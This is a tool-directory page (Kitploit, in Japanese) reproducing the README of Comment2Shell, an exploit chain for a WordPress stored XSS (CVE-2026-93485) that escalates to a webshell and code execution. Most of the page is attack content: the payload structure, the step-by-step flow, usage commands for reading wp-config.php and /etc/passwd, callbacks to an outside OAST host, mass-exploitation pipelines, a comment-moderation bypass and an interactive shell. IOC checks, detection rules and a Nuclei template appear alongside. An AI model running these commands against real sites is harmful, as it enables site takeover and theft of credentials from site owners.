Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Comment2Shell — ゼロクリック・プリ認証のWordPress CVE-2026-93485エクスプロイトチェーン:wpautop()の格納型XSSが管理者セッションのプラグインアップロードへ昇格し、自己削除型ウェブシェルに至る。スキャナー、シェル、Nucleiテンプレート付き。 | Kitploit
ツール/GitHubGitHub/deathshotxd/comment2shell
脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ポストエクスプロイトセキュリティ仮想化ウェブセキュリティペネトレーションテストレッドチーミングペイロード開発ラボと実践
GitHubdeathshotxd/comment2shell
1115時間11分前未レビュー

Comment2Shell

ゼロクリック・プリ認証のWordPress CVE-2026-93485エクスプロイトチェーン:wpautop()の格納型XSSが管理者セッションのプラグインアップロードへ昇格し、自己削除型ウェブシェルに至る。スキャナー、シェル、Nucleiテンプレート付き。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Comment2Shell

Comment2Shellは、WordPressコアのwpautop()における認証前の格納型XSSであり、管理者セッション内でのリモートコード実行へとエスカレートするCVE-2026-93485のエンドツーエンドの概念実証です。匿名コメントがペイロードを仕込み、管理者が投稿を開くと、ブラウザがウェブシェルプラグインをアップロードし、コマンドを実行し、その後シェルを再び削除します。チェーン全体は依存関係のない単一のPythonファイルです。

Comment2Shell logo

CVE-2026-93485, CVSS 7.1 HIGH, pre-auth, zero-click, fixed in 7.1.1

Animated terminal: the exploit chain end to end


Comment2Shellとは?

Comment2Shellは、CVE-2026-93485のためのエクスプロイトおよびローカルラボキットです。このバグはwp-includes/formatting.php内の、コメントテキストに対して表示時に実行されるwpautop()段落フィルターに存在します。blockquote cite属性内の改行がHTMLコメントのプレースホルダーになり、blockquoteをラップする正規表現が最初の>で停止して属性の途中に段落タグを注入し、ブラウザがそれをハンドラーとして解析します。属性がゼロクリックでそれを発火させます。

onfocus
autofocus

このツールはチェーン全体をカバーします。パッシブなバージョンスキャン、無害なXSSプローブ、認証前からRCEまでの完全なエクスプロイト、インタラクティブシェル、そして防御側のIOCチェックです。


このエクスプロイトにはアカウントもnonceも不要で、管理者が投稿を閲覧する以外の操作も必要ありません。コメントが開放されている必要があるだけです。


Comment2Shell - CVE-2026-93485

なぜこれが重要か

WordPressはウェブの大部分を占めており、wpautop()はコアコードであるため、脆弱なフィルターはテーマやプラグインに関係なく、影響を受けるすべてのインストールに同梱されています。このXSSは格納型で、認証前で、ゼロクリックです。管理者セッション内で実行されるため、単なる改ざんバグではありません。管理者Cookieがあればプラグインをインストールするのに十分であり、プラグインのインストールは任意のコード実行です。

修正はWordPress 7.1.1で提供され、25のブランチにわたり、4.7.36までバックポートされました。4.7.0から7.1.0までのすべてのリリースが影響を受けます。

デモ


Comment2Shell demonstration


WordPress 7.1.0に対する制御されたラボでの実行: 匿名コメントがペイロードを仕込み、管理者が投稿を開くとゼロクリックチェーンが発火し、ウェブシェルがアップロードされ、コマンド出力が返り、シェルが自身を削除します。ブラウザのタブタイトルが結果を報告し、Comment2Shell: shell uploadedまたはComment2Shell: admin login requiredのいずれかになります。正確な手順はdocker/README.mdを参照してください。

研究上の貢献

Comment2Shellはこの欠陥の発見を主張するものではありません。これはRafie Muhammad (Awesome Motive)によってHackerOne WordPressプログラムを通じて報告され、7.1.1で修正されました。ここでの貢献は、チェーン全体の再現可能で依存関係のない実装です:

  • ペイロードがKSESを通過できる表示時フィルターの条件
  • 外部ファイルを必要とせずプラグインをアップロードするためのブラウザ内ZIPビルダー
  • コマンド後にウェブシェルが自身をunlinkする自動クリーンアップ
  • ブルーチーム向け成果物: nucleiテンプレート、IOCスクリプト、ログクエリ

攻撃フロー

Anonymous comment, wpautop bug, zero-click XSS, admin view, remote code execution


root@kitploit:~
1. Anonymous comment submission (no auth, no nonce)
   POST /wp-comments-post.php
   <blockquote cite="a\nb"><code>x" onfocus=... autofocus>
   KSES allows blockquote[cite] and code; the newline in cite survives.

2. Display-time filter chain (the bug)
   wpautop() at formatting.php:563:
     preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
   [^>]* stops at the > inside the <!-- wpnl --> comment,
   so a <p> gets injected inside the cite attribute.

3. wptexturize() seals the attribute (block themes)
   Outer " becomes &#8221; (curly quote).
   The " inside <code> stays straight (no-texturize list).
   The browser then parses onfocus/autofocus as real attributes.

4. Zero-click XSS in the admin session
   autofocus fires onfocus on page load, no click needed.
   JS runs with the admin cookies.

5. Admin session -> plugin upload -> RCE
   GET /wp-admin/plugin-install.php, extract the nonce.
   Build ZIP in memory, POST update.php?action=upload-plugin.
   Webshell lands at wp-content/plugins/<rand>/<rand>.php.
   GET /wp-content/plugins/<rand>/<rand>.php?c=id

要件

  • 公開済み投稿でコメントが開放されていること (デフォルト)
  • 匿名コメントが許可されていること (デフォルト、comment_registration=0)
  • ブロックテーマが有効であること (Twenty Twenty-Two以降デフォルト)
  • ログイン中に投稿を閲覧する管理者がいること
  • Python 3.8+ (標準ライブラリのみ)

インストール

root@kitploit:~
git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help

依存関係はありません。Python 3.8+の標準ライブラリのみで、pip installは不要です。

使用方法

パッシブバージョンスキャン

root@kitploit:~
# Single target
python3 comment2shell.py --scan -t https://target.com

# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20

# From a pipeline
subfinder -d targets.txt | httpx -title | \
  grep -i wordpress | python3 comment2shell.py --scan --stdin

# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json

アクティブXSSプローブ

root@kitploit:~
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com

# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
  --callback https://your-id.oast.example

コマンド実行までの完全なエクスプロイトチェーン

エクスプロイトペイロードはページ読み込み時にalert("Comment2Shell XSS - CVE-2026-93485")を発火させます (autofocusによるゼロクリック)。管理者としてログインした状態で投稿を閲覧してください。成功するとタブタイトルがComment2Shell: shell uploadedと表示され、ブラウザに管理者セッションがない場合はComment2Shell: admin login requiredと表示されます。

root@kitploit:~
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"

# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"

# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60

# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup

# With an OAST callback
python3 comment2shell.py -t https://target.com \
  -c "cat /etc/passwd" \
  --callback https://your-id.oast.example

# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
  -c "whoami" --known-commenter

# Through a proxy
python3 comment2shell.py -t https://target.com \
  -c "id" --proxy http://127.0.0.1:8080

このツールはXSSコメントを送信し、生成されたウェブシェルパスを3秒ごとにポーリングし (--wait秒まで)、管理者のブラウザがアップロードをトリガーするとコマンドを実行し、その後シェルを自己削除します (?d=1がPHPファイルをunlinkし、プラグインディレクトリを削除します)。そのため永続化は残りません。保持するには--no-cleanupを、ペイロードの送信のみを行うには--wait 0を渡してください。

インタラクティブシェル

root@kitploit:~
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
  --shell-path ab12cd/ab12cd.php

# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
  --shell-path ab12cd/ab12cd.php -c "cat wp-config.php"

IOCチェック

root@kitploit:~
python3 comment2shell.py --ioc -t https://target.com

コメント承認バイパス

初めてのコメント投稿者からの新しいコメントは、通常モデレーションのために保留されます。このツールにはそれを回避する3つの経路があります:

経路方法フラグ
既知のコメント投稿者check_comment()が自動承認するデフォルトの「A WordPress Commenter」<[email protected]>を再利用--known-commenter
モデレーション無効comment_previously_approved=0の場合、任意のIDが自動承認されるデフォルト
投稿者プレビュー以前のコメント投稿者が?unapproved=<id>&moderation-hash=<hash> Cookieを通じて保留中のコメントを閲覧できる自動

Patchstackによると: 「モデレーションはセキュリティ制御ではない。」

Dockerラボ

ローカルテスト用に脆弱なWordPress 7.1.0を起動します:

root@kitploit:~
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80  (host networking)
# Admin:  admin / Password123!
# Then:   python3 comment2shell.py -t http://localhost -c "id"

各実行は新しいペイロードコメントを送信します。ページ上の最初のautofocusペイロードのみが実行されるため、ツールはライブペイロードを検出してそのパスをポーリングします。実行間で古いコメントをクリアするにはbash clean.shを実行してください。

検出

サーバー側IoC

root@kitploit:~
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null

# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
  FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
  onfocus%' ORDER BY comment_date DESC;"

# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
  -newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
  -not -path "*/hello*"

ネットワークIoC

root@kitploit:~
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"

# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"

Nucleiテンプレート

root@kitploit:~
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com

パッチ検証

root@kitploit:~
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|

# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>

パイプラインの例

root@kitploit:~
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
  httpx -silent -title | \
  grep -i "wordpress" | \
  python3 comment2shell.py --scan --stdin --threads 20

# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
  python3 comment2shell.py -t - -c "id" \
    --callback https://your-id.oast.example

# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
  --threads 30 -o scan_results.json --json

技術的詳細

根本原因

wp-includes/formatting.php:563 (脆弱、7.1.1より前):

root@kitploit:~
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );

// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );

なぜKSESが捕捉しないのか

ペイロードは保存時点では無害なHTMLです。blockquote[cite]とcodeはコメント許可リスト (wp-includes/kses.php:605-633) に含まれています。改行はwp_kses_hair()の構文文字マップに含まれていません。エクスプロイトは表示時に発生し、comment_textフィルターが保存されたHTMLを変換する時点で起こります。

comment_textフィルターチェーン

root@kitploit:~
add_filter( 'comment_text', 'wptexturize' );       // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 );        // THE BUG

影響を受けるバージョン

修正は7.1.1で25のブランチにわたり提供されました。4.7.0から7.1.0までのすべてのリリースが影響を受けます。

ブランチ脆弱 <=修正済み
7.17.1.07.1.1
7.07.0.47.0.5
6.96.9.76.9.8
6.86.8.86.8.9
6.76.7.76.7.8
6.66.6.76.6.8
6.56.5.106.5.11
6.46.4.106.4.11
6.36.3.106.3.11
6.26.2.116.2.12
6.16.1.126.1.13
6.06.0.146.0.15
5.95.9.165.9.17
5.85.8.155.8.16
5.75.7.175.7.18
5.65.6.195.6.20
5.55.5.205.5.21
5.45.4.215.4.22
5.35.3.235.3.24
5.25.2.265.2.27
5.15.1.245.1.25
5.05.0.275.0.28
4.94.9.314.9.32
4.84.8.304.8.31
4.74.7.354.7.36

リポジトリ構造

root@kitploit:~
Comment2Shell/
|-- comment2shell.py      scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md               weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/               vulnerable WordPress 7.1.0 lab
|   |-- docker-compose.yml
|   |-- setup.sh
|   |-- clean.sh
|   +-- README.md
|-- nuclei/               detection template
|-- ioc/                  server-side IOC checker
|-- requests/             raw HTTP exploit templates
|-- assets/               banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE

制限事項

  • XSS経路はブロックテーマ (wptexturizeが属性をシールする) に依存します。クラシックテーマではトリガーされない可能性があります。
  • ペイロードは管理者に表示される必要があるため、自動承認または既に承認されたコメント投稿者IDが必要です。
  • RCEステップでは、管理者がログイン中に実際に投稿を閲覧する必要があります。それがなければ、格納型XSSのみが実証されます。
  • ページ上の最初のautofocusペイロードのみが実行されます。ツールはライブペイロードを検出しますが、古いペイロードコメントはdocker/clean.shでクリアする必要があります。
  • 同梱のラボはWordPress 7.1.0です。他のブランチも脆弱な正規表現を共有していますが、すべてが検証されたわけではありません。

参考文献

  • CVE-2026-93485 - https://www.cve.org/CVERecord?id=CVE-2026-93485
  • GitHub advisory GHSA-qg7r-fjh2-wvx8 - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-qg7r-fjh2-wvx8
  • WordPress 7.1.1 release - https://wordpress.org/news/2026/09/wordpress-7-1-1-maintenance-and-security-release/
  • Researcher writeup - https://idnsec.com/research/comment2shell-zero-click-pre-auth-xss-to-rce-in-wordpress-core/
  • Patchstack analysis - https://patchstack.com/articles/wordpress-7-1-1-maintenance-and-security-release/
  • NVD - https://nvd.nist.gov/vuln/detail/CVE-2026-93485

タイムライン

  • 2026-09-08 - HackerOne WordPressプログラムを通じて報告
  • 2026-09-15 - PatchstackにCVEをリクエスト
  • 2026-09-17 - WordPress 7.1.1で修正
  • 2026-09-18 - CVE-2026-93485割り当て (CVSS 7.1)
  • 2026-09-21 - 研究者のwriteup公開
  • 2026-09-22 - THN、Orca、SiteGuardingによる報道
  • 2026-09-23 - このツールをリリース

責任ある使用

このプロジェクトは、許可されたセキュリティテストと教育のために存在します。所有しているシステム、またはテストする明示的な書面による許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは、ほとんどの法域で違法です。作者は誤用や損害について責任を負いません。LICENSEを参照してください。

作者

0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383

ツールをダウンロード